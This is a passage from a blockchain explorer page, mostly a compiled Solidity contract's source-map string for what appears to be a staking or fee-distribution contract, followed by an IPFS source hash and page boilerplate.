;7285:23;:34::i;:::-;7263:56;;7349:16;;;;:32;;7370:10;7349:20;:32::i;:::-;7330:16;;;:51;7398:13;;;;-1:-1:-1;;;;;7398:13:0;7394:328;;-1:-1:-1;;;;;7446:17:0;;7453:10;7446:17;7442:77;;7484:13;;;:19;;-1:-1:-1;;;;;;7484:19:0;-1:-1:-1;;;;;7484:19:0;;;;;7442:77;7553:13;;;;-1:-1:-1;;;;;7553:13:0;7585:21;;7581:130;;-1:-1:-1;;;;;7659:14:0;;;;;;:5;:14;;;;;:29;;;:36;;7693:1;7659:33;:36::i;:::-;-1:-1:-1;;;;;7627:14:0;;;;;;:5;:14;;;;;:29;;:68;7581:130;7427:295;7394:328;7754:13;;;;-1:-1:-1;;;;;7754:13:0;:27;7750:461;;7815:13;;;;-1:-1:-1;;;;;7815:13:0;7847:20;;7843:357;;7888:18;7909:45;7937:16;;7909:23;7923:8;;7909:9;:13;;:23;;;;:::i;:45::-;7973;;7888:66;;-1:-1:-1;;;;;;7973:33:0;;;:45;;;;;7888:66;;7973:45;;;;7888:66;7973:33;:45;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;8072:13:0;;;;;;:5;:13;;;;;:32;;;:48;;8109:10;8072:36;:48::i;:::-;-1:-1:-1;;;;;8037:13:0;;;;;;:5;:13;;;;;:32;;:83;8155:13;;:29;;8173:10;8155:17;:29::i;:::-;8139:13;:45;-1:-1:-1;7843:357:0;7783:428;7750:461;8223:18;8244;8252:9;8244:7;:18::i;:::-;8223:39;-1:-1:-1;8287:42:0;8303:25;:9;8223:39;8303:13;:25::i;:::-;8287:11;;;:15;:42::i;:::-;8273:11;:56;8356:13;;:20;;8374:1;8356:17;:20::i;:::-;8340:13;:36;8387:22;8403:5;8387:15;:22::i;:::-;6795:1622;;;6747:1670;:::o;15191:186::-;15270:5;;-1:-1:-1;;;;;15270:5:0;15256:10;:19;15248:47;;;;-1:-1:-1;;;15248:47:0;;;;;;;:::i;:::-;15323:2;15314:5;:11;;:27;;;;;15338:3;15329:5;:12;;15314:27;15306:36;;;;;;15353:8;:16;15191:186::o;5204:1492::-;5250:15;;;;5242:53;;;;-1:-1:-1;;;5242:53:0;;;;;;;:::i;:::-;5312:15;;;;;;;5308:108;;;5365:10;5353:23;;;;:11;:23;;;;;;;;5352:24;5344:60;;;;-1:-1:-1;;;5344:60:0;;7420:2:1;5344:60:0;;;7402:21:1;7459:2;7439:18;;;7432:30;7498:25;7478:18;;;7471:53;7541:18;;5344:60:0;7218:347:1;5344:60:0;5454:10;5428:17;5448;;;:5;:17;;;;;;5494:11;:9;:11::i;:::-;5476:29;;5516:16;5535:25;5552:7;5535:16;:25::i;:::-;5516:44;;5686:30;;5660:4;:23;;;:56;5657:475;;;5853:64;5866:50;5899:16;;5866:28;5879:14;;5866:8;:12;;:28;;;;:::i;:50::-;5853:8;;:12;:64::i;:::-;5842:75;;5657:475;;;6070:1;6044:23;;;:27;;;6090:24;;;:28;5657:475;6176:15;6152:21;;;:39;;;6221:1;6202:16;;;:20;6235:14;;;:32;6318:19;;6291:48;;6306:32;;:7;;:11;:32::i;6291:48::-;6278:10;:61;6378:8;10325:21;6363:23;6360:78;;;-1:-1:-1;10325:21:0;6360:78;6450:18;6471:31;6484:17;6492:8;6484:7;:17::i;:::-;6471:8;;:12;:31::i;:::-;6513:49;;6450:52;;-1:-1:-1;6529:10:0;;6513:49;;;;;6450:52;;6513:49;;;;6450:52;6529:10;6513:49;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6595:19:0;;;;:35;;6619:10;6595:23;:35::i;:::-;6573:19;;;:57;6658:14;;:30;;6677:10;6658:18;:30::i;:::-;6641:14;:47;-1:-1:-1;;;;5204:1492:0:o;10465:211::-;10529:7;10549:16;10568:56;10596:27;10618:4;10596:21;:27::i;:::-;-1:-1:-1;;;;;10568:11:0;;;;;;:5;:11;;;;;:23;;;;:27;:56::i;:::-;10549:75;;10642:26;10659:8;10642:16;:26::i;:::-;10635:33;10465:211;-1:-1:-1;;;10465:211:0:o;15776:200::-;15863:5;;-1:-1:-1;;;;;15863:5:0;15849:10;:19;15841:47;;;;-1:-1:-1;;;15841:47:0;;;;;;;:::i;:::-;15916:2;15907:5;:11;;:27;;;;;15931:3;15922:5;:12;;15907:27;15899:36;;;;;;15946:14;:22;15776:200::o;13961:149::-;14043:5;;-1:-1:-1;;;;;14043:5:0;14029:10;:19;14021:47;;;;-1:-1:-1;;;14021:47:0;;;;;;;:::i;:::-;14079:6;:23;;-1:-1:-1;;;;;;14079:23:0;-1:-1:-1;;;;;14079:23:0;;;;;;;;;;13961:149::o;15385:192::-;15475:5;;-1:-1:-1;;;;;15475:5:0;15461:10;:19;15453:47;;;;-1:-1:-1;;;15453:47:0;;;;;;;:::i;:::-;15528:2;15519:5;:11;;15511:20;;;;;;15542:19;:27;15385:192::o;16565:154::-;16647:5;;-1:-1:-1;;;;;16647:5:0;16633:10;:19;16625:46;;;;-1:-1:-1;;;16625:46:0;;;;;;;:::i;:::-;16696:10;:5;16704:2;16696:10;:::i;:::-;:15;;16709:2;16696:15;:::i;:::-;16682:11;:29;-1:-1:-1;16565:154:0:o;11469:132::-;11533:7;11559:34;11575:3;10325:21;11297:164;:::i;16932:203::-;17023:5;;-1:-1:-1;;;;;17023:5:0;17009:10;:19;17001:46;;;;-1:-1:-1;;;17001:46:0;;;;;;;:::i;:::-;17075:2;17066:5;:11;;17058:20;;;;;;17112:15;:5;17120:7;17112:15;:::i;:::-;17089:20;:38;-1:-1:-1;16932:203:0:o;11149:140::-;11209:7;11235:46;11250:4;11256:10;;11268:12;10325:21;;10257:97;16202:192;16288:5;;-1:-1:-1;;;;;16288:5:0;16274:10;:19;16266:47;;;;-1:-1:-1;;;16266:47:0;;;;;;;:::i;:::-;16341:2;16332:5;:11;;16324:20;;;;;;16371:10;:5;16379:2;16371:10;:::i;:::-;:15;;16384:2;16371:15;:::i;:::-;16355:13;:31;-1:-1:-1;16202:192:0:o;15984:210::-;16087:5;;-1:-1:-1;;;;;16087:5:0;16073:10;:19;16065:47;;;;-1:-1:-1;;;16065:47:0;;;;;;;:::i;:::-;16140:2;16131:5;:11;;16123:20;;;;;;16154:24;:32;15984:210::o;2659:152::-;2741:5;;-1:-1:-1;;;;;2741:5:0;2727:10;:19;2719:47;;;;-1:-1:-1;;;2719:47:0;;;;;;;:::i;:::-;2777:15;:26;;;;;;;-1:-1:-1;;2777:26:0;;;;;;;;;2659:152::o;11694:440::-;11752:7;;;11801:62;11817:6;11826:36;11817:6;11826:24;11817:6;10325:21;11826:12;:16;;:24::i;:::-;:28;;:36::i;11801:62::-;11780:83;;11874:14;11891:36;11906:20;;11891:10;:14;;:36;;;;:::i;:::-;11874:53;-1:-1:-1;11952:6:0;11938:11;11990:15;11952:6;11874:53;11990:7;:15::i;:::-;11969:36;;12016:22;12041:44;12066:10;12078:6;12041:24;:44::i;:::-;12103:6;;12016:69;;-1:-1:-1;11694:440:0;;-1:-1:-1;;;;;;11694:440:0:o;15585:183::-;15670:5;;-1:-1:-1;;;;;15670:5:0;15656:10;:19;15648:47;;;;-1:-1:-1;;;15648:47:0;;;;;;;:::i;:::-;15723:3;15714:5;:12;;15706:21;;;;;;15738:14;:22;15585:183::o;3281:191::-;3395:5;;3345:16;;-1:-1:-1;;;;;3395:5:0;3381:10;:19;3373:47;;;;-1:-1:-1;;;3373:47:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;3445:19:0;;;;;:11;:19;;;;;;;;;3281:191::o;12142:174::-;12225:7;12251:57;12266:4;12271:10;;12283:24;12300:6;12283:12;10325:21;;10257:97;12814:412;-1:-1:-1;;;;;12949:10:0;;12878:7;12949:10;;;:5;:10;;;;;:20;;;12878:7;;12929:41;;:15;;:19;:41::i;:::-;12897:73;;13032:18;13053:39;13057:21;13080:11;;13053:3;:39::i;:::-;13032:60;;13103:21;13127:37;13131:20;;13153:10;13127:3;:37::i;:::-;-1:-1:-1;;;;;13200:10:0;;;;;;:5;:10;;;;;:17;;;13103:61;;-1:-1:-1;13182:36:0;;13103:61;;13182:17;:36::i;:::-;13175:43;12814:412;-1:-1:-1;;;;;12814:412:0:o;2819:179::-;2919:5;;-1:-1:-1;;;;;2919:5:0;2905:10;:19;2897:47;;;;-1:-1:-1;;;2897:47:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2955:19:0;;;;;;;;:11;:19;;;;;:35;;-1:-1:-1;;2955:35:0;;;;;;;;;;2819:179::o;3480:330::-;3543:15;;;;3538:265;;3587:5;;-1:-1:-1;;;;;3587:5:0;3573:10;:19;3569:225;;;3615:10;;:15;3607:24;;;;;;3641:15;:22;;-1:-1:-1;;3641:22:0;3659:4;3641:22;;;3695:12;3682:10;:25;3726:17;3738:4;3726:11;:17::i;:::-;3480:330;:::o;3569:225::-;3759:35;;-1:-1:-1;;;3759:35:0;;7772:2:1;3759:35:0;;;7754:21:1;7811:2;7791:18;;;7784:30;7850:27;7830:18;;;7823:55;7895:18;;3759:35:0;7570:349:1;14608:239:0;14699:5;;-1:-1:-1;;;;;14699:5:0;14685:10;:19;14677:47;;;;-1:-1:-1;;;14677:47:0;;;;;;;:::i;:::-;14752:6;14743:5;:15;;:34;;;;;14771:6;14762:5;:15;;14743:34;14735:43;;;;;;14811:20;:28;14608:239::o;17147:214::-;17248:5;;-1:-1:-1;;;;;17248:5:0;17234:10;:19;17226:47;;;;-1:-1:-1;;;17226:47:0;;;;;;;:::i;:::-;17301:2;17292:5;:11;;17284:20;;;;;;17315:30;:38;17147:214::o;3006:267::-;3122:5;;-1:-1:-1;;;;;3122:5:0;3108:10;:19;3100:47;;;;-1:-1:-1;;;3100:47:0;;;;;;;:::i;:::-;3162:9;3158:108;3177:17;;;3158:108;;;3241:13;3216:11;:22;3228:6;;3235:1;3228:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3216:22:0;;;;;;;;;;;;-1:-1:-1;3216:22:0;:38;;-1:-1:-1;;3216:38:0;;;;;;;;;;3196:3;;;;:::i;:::-;;;;3158:108;;17815:133;17873:7;;17901:5;17905:1;17901;:5;:::i;:::-;17889:17;;17925:1;17920;:6;;17913:14;;;;:::i;17696:113::-;17754:7;17782:1;17777;:6;;17770:14;;;;:::i;:::-;17798:5;17802:1;17798;:5;:::i;17578:112::-;17636:7;;17664:5;17668:1;17664;:5;:::i;17392:180::-;17450:7;17470:6;17466:37;;-1:-1:-1;17494:1:0;17487:8;;17466:37;17509:9;17521:5;17525:1;17521;:5;:::i;:::-;17509:17;-1:-1:-1;17549:1:0;17540:5;17544:1;17509:17;17540:5;:::i;:::-;:10;17533:18;;;;:::i;8425:416::-;8477:7;8496:11;8510:39;8532:16;;8510:17;8523:3;;8510:8;:12;;:17;;;;:::i;:39::-;8496:53;;8560:13;8576:39;8598:16;;8576:17;8589:3;;8576:8;:12;;:17;;;;:::i;:39::-;8626:4;;:18;;8560:55;;-1:-1:-1;;;;;;8626:4:0;;:18;;;;;8640:3;;8626:4;:18;:4;:18;8640:3;8626:4;:18;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8655:4:0;;:18;;-1:-1:-1;;;;;8655:4:0;;;;:18;;;;;8669:3;;8655:4;:18;:4;:18;8669:3;8655:4;:18;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8684:4:0;;:18;;-1:-1:-1;;;;;8684:4:0;;;;:18;;;;;8698:3;;8684:4;:18;:4;:18;8698:3;8684:4;:18;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8713:6:0;;:20;;-1:-1:-1;;;;;8713:6:0;;;;:20;;;;;8729:3;;8713:6;:20;:6;:20;8729:3;8713:6;:20;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8744:6:0;;:20;;-1:-1:-1;;;;;8744:6:0;;;;:20;;;;;8760:3;;8744:6;:20;:6;:20;8760:3;8744:6;:20;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8775:3:0;;:19;;-1:-1:-1;;;;;8775:3:0;;;;:19;;;;;8788:5;;8775:3;:19;:3;:19;8788:5;8775:3;:19;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8812:21:0;8822:10;:3;8830:1;8822:7;:10::i;:::-;8812:5;;:9;:21::i;13234:105::-;13291:7;13322:1;13318;:5;:13;;13330:1;13318:13;;;-1:-1:-1;13326:1:0;;13234:105;-1:-1:-1;13234:105:0:o;420:173:1:-;488:20;;-1:-1:-1;;;;;537:31:1;;527:42;;517:70;;583:1;580;573:12;517:70;420:173;;;:::o;598:186::-;657:6;710:2;698:9;689:7;685:23;681:32;678:52;;;726:1;723;716:12;678:52;749:29;768:9;749:29;:::i;789:160::-;854:20;;910:13;;903:21;893:32;;883:60;;939:1;936;929:12;954:180;1010:6;1063:2;1051:9;1042:7;1038:23;1034:32;1031:52;;;1079:1;1076;1069:12;1031:52;1102:26;1118:9;1102:26;:::i;1139:180::-;1198:6;1251:2;1239:9;1230:7;1226:23;1222:32;1219:52;;;1267:1;1264;1257:12;1219:52;-1:-1:-1;1290:23:1;;1139:180;-1:-1:-1;1139:180:1:o;1324:316::-;1401:6;1409;1417;1470:2;1458:9;1449:7;1445:23;1441:32;1438:52;;;1486:1;1483;1476:12;1438:52;-1:-1:-1;;1509:23:1;;;1579:2;1564:18;;1551:32;;-1:-1:-1;1630:2:1;1615:18;;;1602:32;;1324:316;-1:-1:-1;1324:316:1:o;1645:248::-;1713:6;1721;1774:2;1762:9;1753:7;1749:23;1745:32;1742:52;;;1790:1;1787;1780:12;1742:52;-1:-1:-1;;1813:23:1;;;1883:2;1868:18;;;1855:32;;-1:-1:-1;1645:248:1:o;2486:254::-;2554:6;2562;2615:2;2603:9;2594:7;2590:23;2586:32;2583:52;;;2631:1;2628;2621:12;2583:52;2654:29;2673:9;2654:29;:::i;:::-;2644:39;2730:2;2715:18;;;;2702:32;;-1:-1:-1;;;2486:254:1:o;4208:::-;4273:6;4281;4334:2;4322:9;4313:7;4309:23;4305:32;4302:52;;;4350:1;4347;4340:12;4302:52;4373:29;4392:9;4373:29;:::i;:::-;4363:39;;4421:35;4452:2;4441:9;4437:18;4421:35;:::i;:::-;4411:45;;4208:254;;;;;:::o;4467:689::-;4559:6;4567;4575;4628:2;4616:9;4607:7;4603:23;4599:32;4596:52;;;4644:1;4641;4634:12;4596:52;4684:9;4671:23;4713:18;4754:2;4746:6;4743:14;4740:34;;;4770:1;4767;4760:12;4740:34;4808:6;4797:9;4793:22;4783:32;;4853:7;4846:4;4842:2;4838:13;4834:27;4824:55;;4875:1;4872;4865:12;4824:55;4915:2;4902:16;4941:2;4933:6;4930:14;4927:34;;;4957:1;4954;4947:12;4927:34;5012:7;5005:4;4995:6;4992:1;4988:14;4984:2;4980:23;4976:34;4973:47;4970:67;;;5033:1;5030;5023:12;4970:67;5064:4;5056:13;;;;-1:-1:-1;5088:6:1;-1:-1:-1;5113:37:1;;5129:20;;;-1:-1:-1;5113:37:1;:::i;:::-;5103:47;;4467:689;;;;;:::o;5161:339::-;5363:2;5345:21;;;5402:2;5382:18;;;5375:30;-1:-1:-1;;;5436:2:1;5421:18;;5414:45;5491:2;5476:18;;5161:339::o;5505:349::-;5707:2;5689:21;;;5746:2;5726:18;;;5719:30;5785:27;5780:2;5765:18;;5758:55;5845:2;5830:18;;5505:349::o;5859:338::-;6061:2;6043:21;;;6100:2;6080:18;;;6073:30;-1:-1:-1;;;6134:2:1;6119:18;;6112:44;6188:2;6173:18;;5859:338::o;6202:127::-;6263:10;6258:3;6254:20;6251:1;6244:31;6294:4;6291:1;6284:15;6318:4;6315:1;6308:15;6334:168;6374:7;6440:1;6436;6432:6;6428:14;6425:1;6422:21;6417:1;6410:9;6403:17;6399:45;6396:71;;;6447:18;;:::i;:::-;-1:-1:-1;6487:9:1;;6334:168::o;7924:127::-;7985:10;7980:3;7976:20;7973:1;7966:31;8016:4;8013:1;8006:15;8040:4;8037:1;8030:15;8056:135;8095:3;-1:-1:-1;;8116:17:1;;8113:43;;;8136:18;;:::i;:::-;-1:-1:-1;8183:1:1;8172:13;;8056:135::o;8196:128::-;8236:3;8267:1;8263:6;8260:1;8257:13;8254:39;;;8273:18;;:::i;:::-;-1:-1:-1;8309:9:1;;8196:128::o;8329:127::-;8390:10;8385:3;8381:20;8378:1;8371:31;8421:4;8418:1;8411:15;8445:4;8442:1;8435:15;8461:125;8501:4;8529:1;8526;8523:8;8520:34;;;8534:18;;:::i;:::-;-1:-1:-1;8571:9:1;;8461:125::o;8591:217::-;8631:1;8657;8647:132;;8701:10;8696:3;8692:20;8689:1;8682:31;8736:4;8733:1;8726:15;8764:4;8761:1;8754:15;8647:132;-1:-1:-1;8793:9:1;;8591:217::o
Swarm Source
ipfs://4e218e4d58467c8849736262829a8ac7350279b5b341c762e299e763d06efc53
Age | Block | Fee Address | BC Fee Address | Voting Power | Jailed | Incoming |
---|
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.